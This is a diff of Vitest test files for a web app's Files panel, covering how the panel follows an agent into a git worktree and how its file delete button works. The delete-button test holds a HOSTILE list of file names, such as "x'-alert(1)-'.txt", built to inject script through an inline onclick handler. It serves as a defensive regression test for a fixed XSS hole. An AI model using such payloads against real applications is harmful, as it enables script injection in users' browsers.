clearTimeout,
|
||||
fetch: undefined as unknown,
|
||||
CodemanBase: { url: (path: string) => path },
|
||||
});
|
||||
vm.runInContext(read('panels-ui.js'), context, { filename: 'panels-ui.js' });
|
||||
const ids = [
|
||||
'fileBrowserPanel',
|
||||
'fileBrowserTree',
|
||||
'fileBrowserStatus',
|
||||
'fileBrowserHiddenBtn',
|
||||
'fileBrowserSearch',
|
||||
'fileBrowserRoot',
|
||||
'fileBrowserRootLabel',
|
||||
'fileBrowserRootName',
|
||||
'fileBrowserRootSwitch',
|
||||
];
|
||||
const elements = Object.fromEntries(ids.map((id) => [id, panelElement()]));
|
||||
elements.fileBrowserPanel.classList.toggle('visible', true);
|
||||
const app = new CodemanApp();
|
||||
app.$ = (id: string) => elements[id] ?? null;
|
||||
app.activeSessionId = 'sess-1';
|
||||
app.fileBrowserData = null;
|
||||
app.fileBrowserExpandedDirs = new Set<string>();
|
||||
app.fileBrowserFilter = '';
|
||||
app.fileBrowserShowHidden = false;
|
||||
app.getFileIcon = () => '';
|
||||
app.formatFileSize = () => '';
|
||||
|
||||
// A stand-in for the route. The agent is in the outside worktree when `outside` is set, and
|
||||
// a listing then reports it only when the request asks for root=live-any.
|
||||
const server = { outside: null as typeof OUTSIDE | null, requests: [] as string[] };
|
||||
context.fetch = async (url: string) => {
|
||||
server.requests.push(url);
|
||||
const live = url.includes('root=live') && server.outside;
|
||||
const data = {
|
||||
root: live ? server.outside!.path : WORKING_DIR,
|
||||
...(live && { worktree: server.outside }),
|
||||
tree: [],
|
||||
totalFiles: 0,
|
||||
totalDirectories: 0,
|
||||
truncated: false,
|
||||
};
|
||||
return { ok: true, json: async () => ({ success: true, data }) };
|
||||
};
|
||||
return { app, elements, server };
|
||||
};
|
||||
|
||||
it('reloads when an update carries only outsideWorktree and the listing reports none', async () => {
|
||||
const { app, server } = loadPanel();
|
||||
await app.loadFileBrowser('sess-1');
|
||||
expect(server.requests).toHaveLength(1);
|
||||
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
|
||||
|
||||
server.outside = OUTSIDE;
|
||||
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
|
||||
expect(reload).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('does not reload when the listing already reports that outside worktree', async () => {
|
||||
const { app, server } = loadPanel();
|
||||
server.outside = OUTSIDE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
|
||||
|
||||
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
|
||||
expect(reload).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('keeps the session folder pinned while the agent stays in the outside worktree', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.outside = OUTSIDE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
await app.toggleFileBrowserRoot();
|
||||
await vi.waitFor(() => expect(app._fileBrowserState.normalState?.phase).toBe('ready'));
|
||||
expect(app._fileBrowserState.normalState.data.worktree).toBeUndefined();
|
||||
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
|
||||
|
||||
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
|
||||
expect(reload).not.toHaveBeenCalled();
|
||||
expect(app._fileBrowserState.sessionRootPinned).toBe(true);
|
||||
expect(elements.fileBrowserRoot.hidden).toBe(false);
|
||||
expect(elements.fileBrowserRootLabel.textContent).toBe('Session folder');
|
||||
expect(elements.fileBrowserRootSwitch.textContent).toBe('Back to worktree');
|
||||
});
|
||||
|
||||
it('drops the pin and reloads once the agent leaves the outside worktree', async () => {
|
||||
const { app, server } = loadPanel();
|
||||
server.outside = OUTSIDE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
await app.toggleFileBrowserRoot();
|
||||
await vi.waitFor(() => expect(app._fileBrowserState.normalState?.phase).toBe('ready'));
|
||||
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
|
||||
|
||||
server.outside = null;
|
||||
app._followFileBrowserWorktree(update({}));
|
||||
expect(reload).toHaveBeenCalledTimes(1);
|
||||
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
|
||||
expect(app._fileBrowserState.pinnedWorktree).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -30,6 +30,9 @@ interface FakeRow {
|
||||
dataset: Record<string, string>;
|
||||
addEventListener: (type: string, handler: ClickHandler) => void;
|
||||
click: () => void;
|
||||
// The row's delete button is looked up per row; the fake rows carry none (file-delete-ui.test.ts
|
||||
// drives it over a real DOM).
|
||||
querySelector: (selector: string) => null;
|
||||
}
|
||||
|
||||
interface FakeElement {
|
||||
@@ -105,6 +108,7 @@ function fakeElement(initialClasses: string[] = []): FakeElement {
|
||||
click() {
|
||||
clickHandler?.();
|
||||
},
|
||||
querySelector: () => null,
|
||||
});
|
||||
}
|
||||
},
|
||||
@@ -387,7 +391,9 @@ describe('File Viewer server search', () => {
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1);
|
||||
expect(pending).toHaveLength(1);
|
||||
expect(pending[0].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=src%20%26%20docs');
|
||||
expect(pending[0].url).toBe(
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=src%20%26%20docs&root=live-any'
|
||||
);
|
||||
});
|
||||
|
||||
it('is a safe no-op without a panel or session and can lazily adopt a later active owner', async () => {
|
||||
@@ -399,7 +405,9 @@ describe('File Viewer server search', () => {
|
||||
app.activeSessionId = 'session/B';
|
||||
app.filterFileBrowser('after-session');
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
expect(pending[0].url).toBe('/api/sessions/session%2FB/files?depth=5&showHidden=false&q=after-session');
|
||||
expect(pending[0].url).toBe(
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=after-session&root=live-any'
|
||||
);
|
||||
|
||||
pending[0].reply.resolve(response(successfulData()));
|
||||
await vi.advanceTimersByTimeAsync(0);
|
||||
@@ -450,7 +458,7 @@ describe('File Viewer server search', () => {
|
||||
expect(pending).toHaveLength(0);
|
||||
await vi.advanceTimersByTimeAsync(1);
|
||||
expect(pending.map(({ url }) => url)).toEqual([
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=second%20query',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=second%20query&root=live-any',
|
||||
]);
|
||||
});
|
||||
|
||||
@@ -659,7 +667,7 @@ describe('File Viewer server search', () => {
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
|
||||
expect(pending).toHaveLength(1);
|
||||
expect(pending[0].url.endsWith(`&q=${'x'.repeat(256)}`)).toBe(true);
|
||||
expect(pending[0].url.endsWith(`&q=${'x'.repeat(256)}&root=live-any`)).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects 257 trimmed characters without a request', async () => {
|
||||
@@ -786,7 +794,7 @@ describe('File Viewer server search', () => {
|
||||
expect(elements.fileBrowserTree.innerHTML).toContain('Loading files');
|
||||
expect(elements.fileBrowserTree.innerHTML).not.toContain('old-result.ts');
|
||||
expect(elements.fileBrowserTree.innerHTML).not.toContain('old-preference.ts');
|
||||
expect(pending[1].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true');
|
||||
expect(pending[1].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&root=live-any');
|
||||
|
||||
pending[1].reply.resolve(response(successfulTree('new-preference.ts')));
|
||||
await toggle;
|
||||
@@ -794,7 +802,7 @@ describe('File Viewer server search', () => {
|
||||
expect(app._fileBrowserState.view).toBe('search-pending');
|
||||
expect(elements.fileBrowserTree.innerHTML).toContain('Searching');
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
expect(pending[2].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&q=widget');
|
||||
expect(pending[2].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&q=widget&root=live-any');
|
||||
pending[2].reply.resolve(
|
||||
response(
|
||||
successfulData({
|
||||
@@ -877,8 +885,8 @@ describe('File Viewer server search', () => {
|
||||
const firstToggle = app.toggleFileBrowserHidden();
|
||||
const secondToggle = app.toggleFileBrowserHidden();
|
||||
expect(pending.slice(1).map(({ url }) => url)).toEqual([
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=true',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=true&root=live-any',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
|
||||
]);
|
||||
|
||||
pending[1].reply.resolve(response(successfulTree('stale-hidden.ts')));
|
||||
@@ -891,7 +899,7 @@ describe('File Viewer server search', () => {
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
|
||||
expect(pending).toHaveLength(4);
|
||||
expect(pending[3].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=widget');
|
||||
expect(pending[3].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=widget&root=live-any');
|
||||
expect(app.fileBrowserShowHidden).toBe(false);
|
||||
});
|
||||
|
||||
@@ -1674,7 +1682,9 @@ describe('File Viewer server search', () => {
|
||||
expect(immediateState.activeSessionId).toBe('session/B');
|
||||
expect(immediateState.ownerSessionId).toBe('session/B');
|
||||
expect(immediateState.resizeCalls).toBe(1);
|
||||
expect(immediateState.fileUrls).toEqual(['/api/sessions/session%2FB/files?depth=5&showHidden=false']);
|
||||
expect(immediateState.fileUrls).toEqual([
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
|
||||
]);
|
||||
|
||||
expect(filePending).toHaveLength(1);
|
||||
expect(app._fileBrowserState.ownerSessionId).toBe('session/B');
|
||||
@@ -1755,7 +1765,9 @@ describe('File Viewer server search', () => {
|
||||
expect(elements.fileBrowserExpandBtn.innerHTML).toBe('\u229E');
|
||||
expect(elements.fileBrowserTree.querySelectorAll('.file-tree-item')).toHaveLength(0);
|
||||
expect(elements.fileBrowserTree.innerHTML).toContain('Loading files');
|
||||
expect(pending.map(({ url }) => url)).toEqual(['/api/sessions/session%2FB/files?depth=5&showHidden=false']);
|
||||
expect(pending.map(({ url }) => url)).toEqual([
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
|
||||
]);
|
||||
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
expect(pending).toHaveLength(1);
|
||||
@@ -1797,8 +1809,8 @@ describe('File Viewer server search', () => {
|
||||
await vi.advanceTimersByTimeAsync(250);
|
||||
|
||||
expect(pending.map(({ url }) => url)).toEqual([
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false',
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=during%20load',
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=during%20load&root=live-any',
|
||||
]);
|
||||
expect(pending.every(({ url }) => !url.includes('session%2FA'))).toBe(true);
|
||||
});
|
||||
@@ -1815,9 +1827,9 @@ describe('File Viewer server search', () => {
|
||||
|
||||
expect(secondA).not.toBe(firstA);
|
||||
expect(pending.map(({ url }) => url)).toEqual([
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
|
||||
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
|
||||
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
|
||||
]);
|
||||
|
||||
pending[0].reply.resolve(response(successfulTree('stale-A.ts')));
|
||||
|
||||
@@ -0,0 +1,231 @@
|
||||
/**
|
||||
* @fileoverview Files panel following the agent into a git worktree (#765).
|
||||
*
|
||||
* The server does the walking, so what can go wrong here is the client: asking for the wrong root,
|
||||
* showing a strip that does not describe the tree on screen, or reloading forever. The last one is
|
||||
* why the follow compares with what the listing reported rather than with the previous update.
|
||||
*
|
||||
* Loaded via `vm` with a stubbed context, like file-browser-hidden.test.ts.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const panelsJs = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
|
||||
const appJs = readFileSync(resolve(PUBLIC, 'app.js'), 'utf8');
|
||||
const indexHtml = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
|
||||
const stylesCss = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
|
||||
|
||||
const WORKTREE = { name: 'probe', path: '/repo/.claude/worktrees/probe' };
|
||||
|
||||
function element() {
|
||||
const classes = new Set<string>();
|
||||
return {
|
||||
innerHTML: '',
|
||||
textContent: '',
|
||||
title: '',
|
||||
hidden: true,
|
||||
value: '',
|
||||
classList: {
|
||||
toggle: (name: string, on: boolean) => (on ? classes.add(name) : classes.delete(name)),
|
||||
contains: (name: string) => classes.has(name),
|
||||
},
|
||||
setAttribute: () => {},
|
||||
querySelectorAll: () => [],
|
||||
};
|
||||
}
|
||||
|
||||
function loadPanel() {
|
||||
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
|
||||
const context = vm.createContext({
|
||||
CodemanApp,
|
||||
console,
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
escapeHtml: (s: string) => String(s),
|
||||
document: { getElementById: () => null, addEventListener: vi.fn() },
|
||||
window: { addEventListener: vi.fn() },
|
||||
setTimeout,
|
||||
clearTimeout,
|
||||
fetch: undefined as unknown,
|
||||
CodemanBase: { url: (p: string) => p },
|
||||
});
|
||||
vm.runInContext(panelsJs, context, { filename: 'panels-ui.js' });
|
||||
|
||||
const ids = [
|
||||
'fileBrowserPanel',
|
||||
'fileBrowserTree',
|
||||
'fileBrowserStatus',
|
||||
'fileBrowserHiddenBtn',
|
||||
'fileBrowserSearch',
|
||||
'fileBrowserRoot',
|
||||
'fileBrowserRootLabel',
|
||||
'fileBrowserRootName',
|
||||
'fileBrowserRootSwitch',
|
||||
];
|
||||
const elements = Object.fromEntries(ids.map((id) => [id, element()]));
|
||||
elements.fileBrowserPanel.classList.toggle('visible', true);
|
||||
|
||||
const app = new CodemanApp();
|
||||
app.$ = (id: string) => elements[id] ?? null;
|
||||
app.activeSessionId = 'sess-1';
|
||||
app.fileBrowserData = null;
|
||||
app.fileBrowserExpandedDirs = new Set<string>();
|
||||
app.fileBrowserFilter = '';
|
||||
app.fileBrowserShowHidden = false;
|
||||
app.getFileIcon = () => '';
|
||||
app.formatFileSize = () => '';
|
||||
|
||||
// A stand-in for the route: the session's worktree, listed when the request asks for it.
|
||||
const server = { worktree: null as typeof WORKTREE | null, requests: [] as string[] };
|
||||
context.fetch = async (url: string) => {
|
||||
server.requests.push(url);
|
||||
const live = url.includes('root=live') && server.worktree;
|
||||
const data = {
|
||||
root: live ? server.worktree!.path : '/repo',
|
||||
...(server.worktree && { worktree: server.worktree }),
|
||||
tree: [],
|
||||
totalFiles: 0,
|
||||
totalDirectories: 0,
|
||||
truncated: false,
|
||||
...(url.includes('q=') && { mode: 'search', matches: [], matchCount: 0 }),
|
||||
};
|
||||
return { ok: true, json: async () => ({ success: true, data }) };
|
||||
};
|
||||
return { app, elements, server };
|
||||
}
|
||||
|
||||
const strip = (elements: Record<string, ReturnType<typeof element>>) => ({
|
||||
hidden: elements.fileBrowserRoot.hidden,
|
||||
label: elements.fileBrowserRootLabel.textContent,
|
||||
name: elements.fileBrowserRootName.textContent,
|
||||
button: elements.fileBrowserRootSwitch.textContent,
|
||||
title: elements.fileBrowserRoot.title,
|
||||
});
|
||||
|
||||
describe('Files panel in a git worktree', () => {
|
||||
it('asks for the live root by default', async () => {
|
||||
const { app, server } = loadPanel();
|
||||
await app.loadFileBrowser('sess-1');
|
||||
expect(server.requests[0]).toContain('root=live');
|
||||
});
|
||||
|
||||
it('shows no strip for a session in no worktree', async () => {
|
||||
const { app, elements } = loadPanel();
|
||||
await app.loadFileBrowser('sess-1');
|
||||
expect(elements.fileBrowserRoot.hidden).toBe(true);
|
||||
});
|
||||
|
||||
it('says which worktree is listed, and offers the session folder', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
expect(strip(elements)).toEqual({
|
||||
hidden: false,
|
||||
label: 'Worktree',
|
||||
name: 'probe',
|
||||
button: 'Session folder',
|
||||
title: WORKTREE.path,
|
||||
});
|
||||
});
|
||||
|
||||
it('switches to the session folder and back', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
|
||||
await app.toggleFileBrowserRoot();
|
||||
expect(server.requests[1]).not.toContain('root=live');
|
||||
expect(strip(elements)).toEqual({
|
||||
hidden: false,
|
||||
label: 'Session folder',
|
||||
name: '',
|
||||
button: 'Back to worktree',
|
||||
title: '/repo',
|
||||
});
|
||||
|
||||
await app.toggleFileBrowserRoot();
|
||||
expect(server.requests[2]).toContain('root=live');
|
||||
expect(elements.fileBrowserRootName.textContent).toBe('probe');
|
||||
});
|
||||
|
||||
it('keeps the query in the box across the switch, and searches the new root', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
app._fileBrowserState.filter = 'main';
|
||||
elements.fileBrowserSearch.value = 'main';
|
||||
|
||||
await app.toggleFileBrowserRoot();
|
||||
await vi.waitFor(() => expect(server.requests.some((url) => url.includes('q=main'))).toBe(true));
|
||||
|
||||
const search = server.requests.find((url) => url.includes('q=main'))!;
|
||||
expect(search).not.toContain('root=live');
|
||||
});
|
||||
|
||||
it('follows the agent into a worktree while the panel is open', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
await app.loadFileBrowser('sess-1');
|
||||
expect(server.requests).toHaveLength(1);
|
||||
|
||||
server.worktree = WORKTREE;
|
||||
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
|
||||
await vi.waitFor(() => expect(server.requests).toHaveLength(2));
|
||||
await vi.waitFor(() => expect(elements.fileBrowserRoot.hidden).toBe(false));
|
||||
expect(elements.fileBrowserRootName.textContent).toBe('probe');
|
||||
});
|
||||
|
||||
it('follows the agent back out, and a pin on the old worktree does not outlive it', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
await app.toggleFileBrowserRoot();
|
||||
|
||||
server.worktree = null;
|
||||
app._followFileBrowserWorktree({ id: 'sess-1' });
|
||||
await vi.waitFor(() => expect(elements.fileBrowserRoot.hidden).toBe(true));
|
||||
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
|
||||
});
|
||||
|
||||
it('settles: updates that agree with the listing reload nothing', async () => {
|
||||
const { app, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
|
||||
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
|
||||
expect(server.requests).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('leaves another session and a closed panel alone', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
await app.loadFileBrowser('sess-1');
|
||||
app._followFileBrowserWorktree({ id: 'other', liveWorktree: WORKTREE });
|
||||
elements.fileBrowserPanel.classList.toggle('visible', false);
|
||||
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
|
||||
expect(server.requests).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('drops the pin and the strip on a session switch', async () => {
|
||||
const { app, elements, server } = loadPanel();
|
||||
server.worktree = WORKTREE;
|
||||
await app.loadFileBrowser('sess-1');
|
||||
await app.toggleFileBrowserRoot();
|
||||
|
||||
app._activateFileBrowserSession('sess-2');
|
||||
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
|
||||
expect(elements.fileBrowserRoot.hidden).toBe(true);
|
||||
});
|
||||
|
||||
it('gives the switch button a name before the first listing fills it in', () => {
|
||||
expect(indexHtml).toMatch(/id="fileBrowserRootSwitch"[^>]*>Session folder<\/button>/);
|
||||
});
|
||||
|
||||
it('is wired up in the page', () => {
|
||||
expect(appJs).toContain('this._followFileBrowserWorktree?.(session)');
|
||||
expect(indexHtml).toContain('id="fileBrowserRoot" hidden');
|
||||
expect(indexHtml).toContain('onclick="app.toggleFileBrowserRoot()"');
|
||||
// The strip sets `display`, so `hidden` needs its own rule or it never hides.
|
||||
expect(stylesCss).toMatch(/\.file-browser-root\[hidden\]\s*\{\s*display: none;/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,264 @@
|
||||
/**
|
||||
* @fileoverview The Files panel's delete button (salvaged from #529), in the browser module.
|
||||
*
|
||||
* #529 first rendered the button with an inline `onclick` that quoted the path inside
|
||||
* `decodeURIComponent('...')`. `encodeURIComponent` leaves `'` alone, so a file named
|
||||
* `x'-alert(1)-'.txt` ran script in Codeman's origin, and `it's.txt` was a syntax error whose
|
||||
* button did nothing. Workspace names come from agents and cloned repos, so the click is now
|
||||
* bound from the row's escaped `data-path`.
|
||||
*
|
||||
* The DOM is jsdom with `runScripts: 'dangerously'` on purpose: jsdom then compiles inline event
|
||||
* attributes the way a browser does, with `window.app` and `window.alert` present, so the old
|
||||
* markup would really call `alert` here and this test would fail on it. The escaper is the real
|
||||
* one from constants.js, not a stub. panels-ui.js loads via `vm` as in
|
||||
* test/file-browser-incomplete.test.ts. Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const PANELS = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
|
||||
const CONSTANTS = readFileSync(resolve(PUBLIC, 'constants.js'), 'utf8');
|
||||
const STYLES = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
|
||||
|
||||
// The shipped escaper: its map, its pattern and the function, cut from constants.js.
|
||||
const ESCAPE_START = CONSTANTS.indexOf('const _htmlEscapeMap');
|
||||
const ESCAPE_END = CONSTANTS.indexOf('\n}\n', CONSTANTS.indexOf('function escapeHtml(')) + 3;
|
||||
const ESCAPE_SRC = CONSTANTS.slice(ESCAPE_START, ESCAPE_END);
|
||||
|
||||
const HOSTILE = ["x'-alert(1)-'.txt", "it's.txt", 'a "b" <i>c</i> & d.txt', "');alert(2);('.txt"];
|
||||
const SESSION = 'sess-1';
|
||||
|
||||
const dom = new JSDOM(
|
||||
`<div id="fileBrowserPanel" class="visible"></div>
|
||||
<input id="fileBrowserSearch">
|
||||
<div id="fileBrowserStatus"></div>
|
||||
<div id="fileBrowserTree"></div>`,
|
||||
{ runScripts: 'dangerously' }
|
||||
);
|
||||
afterAll(() => dom.window.close());
|
||||
const document = dom.window.document;
|
||||
const win = dom.window as unknown as Record<string, unknown>;
|
||||
const treeEl = () => document.getElementById('fileBrowserTree') as HTMLElement;
|
||||
|
||||
interface FakeResponse {
|
||||
ok: boolean;
|
||||
status: number;
|
||||
json: () => Promise<unknown>;
|
||||
}
|
||||
const reply = (body: unknown, status = 200): FakeResponse => ({
|
||||
ok: status >= 200 && status < 300,
|
||||
status,
|
||||
json: async () => body,
|
||||
});
|
||||
|
||||
function loadPanel(
|
||||
options: {
|
||||
confirm?: (message: string) => boolean;
|
||||
fetch?: (url: string, init?: { method?: string }) => Promise<FakeResponse>;
|
||||
session?: Record<string, unknown>;
|
||||
} = {}
|
||||
) {
|
||||
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
|
||||
const context = vm.createContext({
|
||||
CodemanApp,
|
||||
console,
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
document: { getElementById: () => null, addEventListener: vi.fn() },
|
||||
window: { addEventListener: vi.fn() },
|
||||
// The search debounce, collapsed so the re-run lands on the next turn.
|
||||
setTimeout: (fn: () => void) => setTimeout(fn, 0),
|
||||
clearTimeout,
|
||||
CodemanBase: { url: (p: string) => p },
|
||||
confirm: vi.fn(options.confirm ?? (() => true)),
|
||||
fetch: vi.fn(options.fetch ?? (async () => reply({ success: true, data: {} }))),
|
||||
});
|
||||
vm.runInContext(ESCAPE_SRC, context, { filename: 'constants.js (escapeHtml)' });
|
||||
vm.runInContext(PANELS, context, { filename: 'panels-ui.js' });
|
||||
|
||||
const app = new CodemanApp();
|
||||
app.$ = (id: string) => document.getElementById(id);
|
||||
app.activeSessionId = SESSION;
|
||||
app.sessions = new Map([[SESSION, options.session ?? { id: SESSION }]]);
|
||||
app.fileBrowserExpandedDirs = new Set(['src']);
|
||||
app.fileBrowserShowHidden = false;
|
||||
app.getFileIcon = () => '';
|
||||
app.formatFileSize = () => '';
|
||||
app.openFilePreview = vi.fn();
|
||||
app.showToast = vi.fn();
|
||||
// The sentinel the old inline handler reached: `app.deleteFileFromBrowser(...)` ran in the page.
|
||||
win.app = app;
|
||||
win.alert = vi.fn();
|
||||
return { app, context: context as Record<string, any> };
|
||||
}
|
||||
|
||||
const fileNode = (name: string) => ({ name, path: `src/${name}`, type: 'file', size: 1, extension: 'txt' });
|
||||
const treeEnvelope = (names: string[]) => ({
|
||||
success: true,
|
||||
data: {
|
||||
root: '/repo',
|
||||
tree: [{ name: 'src', path: 'src', type: 'directory', children: names.map(fileNode) }],
|
||||
totalFiles: names.length,
|
||||
totalDirectories: 1,
|
||||
truncated: false,
|
||||
},
|
||||
});
|
||||
const searchEnvelope = (names: string[]) => ({
|
||||
success: true,
|
||||
data: { mode: 'search', matches: names.map(fileNode), matchCount: names.length, truncated: false },
|
||||
});
|
||||
|
||||
const rowFor = (path: string) =>
|
||||
[...treeEl().querySelectorAll<HTMLElement>('.file-tree-item')].find((row) => row.dataset.path === path);
|
||||
const deleteButtonFor = (path: string) => rowFor(path)?.querySelector<HTMLButtonElement>('.file-tree-delete');
|
||||
|
||||
function renderTree(app: Record<string, any>, names: string[]) {
|
||||
app.fileBrowserData = app._validateFileBrowserTreeEnvelope(treeEnvelope(names));
|
||||
app.renderFileBrowserTree(SESSION);
|
||||
}
|
||||
|
||||
function renderSearch(app: Record<string, any>, names: string[]) {
|
||||
app._renderFileBrowserSearchResults(names.map(fileNode), SESSION, { matchCount: names.length, truncated: false });
|
||||
}
|
||||
|
||||
describe('Files panel delete button: no inline handler, the exact path', () => {
|
||||
it.each([
|
||||
['tree', renderTree],
|
||||
['search results', renderSearch],
|
||||
])('%s: a click deletes exactly the hostile path and runs nothing', (_label, render) => {
|
||||
const { app } = loadPanel();
|
||||
app.deleteFileFromBrowser = vi.fn();
|
||||
render(app, HOSTILE);
|
||||
|
||||
expect(treeEl().innerHTML).not.toContain('decodeURIComponent');
|
||||
for (const name of HOSTILE) {
|
||||
const button = deleteButtonFor(`src/${name}`);
|
||||
expect(button, name).toBeTruthy();
|
||||
expect(button!.getAttribute('onclick')).toBeNull();
|
||||
expect(button!.type).toBe('button');
|
||||
|
||||
button!.click();
|
||||
|
||||
expect(app.deleteFileFromBrowser).toHaveBeenLastCalledWith(SESSION, `src/${name}`);
|
||||
}
|
||||
expect(app.deleteFileFromBrowser).toHaveBeenCalledTimes(HOSTILE.length);
|
||||
expect(win.alert).not.toHaveBeenCalled();
|
||||
// The click stays on the button: the row behind it does not open the file.
|
||||
expect(app.openFilePreview).not.toHaveBeenCalled();
|
||||
// The row itself still opens it.
|
||||
rowFor(`src/${HOSTILE[0]}`)!.click();
|
||||
expect(app.openFilePreview).toHaveBeenCalledWith(`src/${HOSTILE[0]}`, SESSION);
|
||||
});
|
||||
|
||||
it('labels the button with the escaped name, as text', () => {
|
||||
const { app } = loadPanel();
|
||||
renderTree(app, ['a "b" <i>c</i> & d.txt']);
|
||||
const button = deleteButtonFor('src/a "b" <i>c</i> & d.txt')!;
|
||||
expect(button.getAttribute('aria-label')).toBe('Delete a "b" <i>c</i> & d.txt');
|
||||
expect(rowFor('src/a "b" <i>c</i> & d.txt')!.querySelector('i')).toBeNull();
|
||||
});
|
||||
|
||||
it('offers no delete button on a folder row', () => {
|
||||
const { app } = loadPanel();
|
||||
renderTree(app, ['a.txt']);
|
||||
expect(rowFor('src')!.querySelector('.file-tree-delete')).toBeNull();
|
||||
expect(deleteButtonFor('src/a.txt')).toBeTruthy();
|
||||
});
|
||||
|
||||
it.each([
|
||||
['a remote (SSH) session', { id: SESSION, remote: { host: 'h' } }],
|
||||
['an adopted session', { id: SESSION, adopt: { kind: 'local' } }],
|
||||
])('offers none for %s, which the route refuses', (_label, session) => {
|
||||
const { app } = loadPanel({ session });
|
||||
renderTree(app, ['a.txt']);
|
||||
expect(rowFor('src/a.txt')).toBeTruthy();
|
||||
expect(deleteButtonFor('src/a.txt')).toBeNull();
|
||||
renderSearch(app, ['a.txt']);
|
||||
expect(rowFor('src/a.txt')).toBeTruthy();
|
||||
expect(deleteButtonFor('src/a.txt')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
